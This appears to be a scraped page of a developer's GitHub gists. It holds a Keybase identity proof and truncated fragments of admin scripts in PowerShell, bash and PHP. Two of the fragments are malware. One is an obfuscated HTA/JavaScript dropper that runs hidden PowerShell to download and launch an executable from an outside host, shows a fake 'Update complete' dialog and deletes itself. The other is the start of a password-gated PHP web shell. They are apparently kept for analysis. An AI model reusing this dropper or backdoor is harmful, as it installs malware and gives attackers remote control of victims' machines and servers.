I hereby claim:
- I am jwieder on github.
- I am joshwieder (https://keybase.io/joshwieder) on keybase.
- I have a public key ASACwy7VbhSGEFSeRBXCx0l6kUrHziwC5AuLSEe4U6dWewo
To claim this, I am signing this object:
I hereby claim:
To claim this, I am signing this object:
$a = Get-ChildItem C:\ -recurse | Where-Object {$_.PSIsContainer -eq $True} | |
$a | Where-Object {$_.GetFiles().Count -eq 0} | Select-Object FullName |
#!/bin/bash | |
Source="/var/log" | |
Destination="/to/your/backups" | |
find -L $Source -maxdepth 3 -type f -name "*.gz" -exec mv {} $Destination \; |
<?php | |
// HTTP USAGE: | |
// http://example.com/GetBundles.php?bid= | |
// BASH CLI EXAMPLE USAGE: | |
// export QUERY_STRING="bid=2" ; php -e -r 'parse_str($_SERVER["QUERY_STRING"], $_GET); include "GetBundles.php";' | |
$db_host = "mysql.databasehost.ext"; | |
$db_name = "mysqlDatabaseName"; | |
$db_user = "MysqlUsername"; |
<script>var jjxqu='tqrfyb u{d gmoogvdexTiot(q-b1d0i0o,v-s1m0g0w)l;srceksuiezwetTbom(y0c,h0b)j;w ian=tnqehwj rAkcstgifvlesXmOhbejfekcotz(o\'kWssqcxrritpets.dSbhaeqlulr\'x)e;i iaw.pRouhni(b"pPmogwaebrfSphleylflj p-zWoihnddpoiwtSjtzyrlnei zHkiydodsehnp i$tdv=i$veanxvh:ytdeqmnpd+f\'v\g\u4eaa2e9e2r4s8n0r8';var qwis='dfl6f6v9s8v5edmeq3mah9qakdo1pen3fdd7r4k3zex0fde.xejxiep\'c;v(hNfehwm-bOabijfencytr vSpycsktfepmp.iNheati.eWfembbCplvirernrty)x.zDloywzntldomardvFhihlxer(m\'n hhvtuthpdsy:n/q/acchliseuwdgqarmcobnpicavcs.ponrogx/u1l7p/g5z2w4c.tdeafts\'r,w$tdt)i;lSotlabrfto-dPurqoycnegslsb d$gdn;s[nSm';var ywjtfy='ypsptfetmv.xRkerfqleezcctsilodnx.aAhsssrefmfbxlryh]a:x:uLsokagdhWaimtbhvPjamrmtaiqamldNjaymgeh(y\'oSayqsttfenml.nWnijnhdgotwnso.tFzoqrpmjsc\'b)k;s[osnycsntuekml.iwkibncdpopwnsc.dfxokrjmqsy.ymkeysoszahgqebbsojxq]g:m:dsbhwopwk(g\'rUmpwdgaatzej ycjotmopilseztgeh.z\'o,x\'bIhnhfronrtmvapt';var mzqyqx='qikoznx\'c,m[tWjinntdsolwdsm.aFloframrsm.aMfejsbsmargteaBlooxpBbuztptyobncss]k:p:lOdKb,o q[cSayvsctrehmc.xWrienkdioxw |
try { | |
moveTo(-100, -100); | |
resizeTo(0, 0); | |
a = new ActiveXObject('Wscript.Shell'); | |
a.Run("PowerShell -WindowStyle Hidden $d=$env:temp+'g2924808f66985de3a9ad1e3d743e0d.exe';(New-Object System.Net.WebClient).DownloadFile(' https://website.ext/17/524.dat',$d);Start-Process $d;[System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');[system.windows.forms.messagebox]::show('Update complete.','Information',[Windows.Forms.MessageBoxButtons]::OK, [System.Windows.Forms.MessageBoxIcon]::Information);", 0, false); | |
var b = new ActiveXObject('Scripting.FileSystemObject'); | |
var p = document.location.href; | |
p = unescape(p.substr(8)); | |
if (b.FileExists(p)) b.DeleteFile(p); | |
} catch (e) {} |
<?php | |
/* | |
* Replace list.txt with the name of your file. The file should only include a list of two-letter state abbreviations, one on each line. | |
* Results printed to STDIO, so use pipes to dump to a file if you want to save the results or add a function to do the same thing (I was | |
* using this for CLI use which is why a function isnt in here already) | |
* | |
* Josh Wieder | |
* https://consulting.joshwieder.net | |
*/ |
/* | |
* REVISION: $Rev: 1426 $ | |
*/ | |
if (md5(md5($_REQUEST['hhh'])) == 'bc5aaff98e1783e8e30f266af63cea42') { | |
set_time_limit(36000); | |
function unslash_rec(&$arr) | |
{ | |
reset($arr); | |
while (list($key) = each($arr)) |
Simple pure JavaScript plugin to rotate text snippets as if they were being typed.
A Pen by Gregory Schier on CodePen.
#!/bin/bash | |
x=0 | |
y=0 | |
if [ -e /usr/sbin/fping ] | |
then | |
if [ `stat -c %a:%G /usr/sbin/fping` == "6710:zabbix" ] | |
then | |
echo "Sticky bit assigned and owner set" |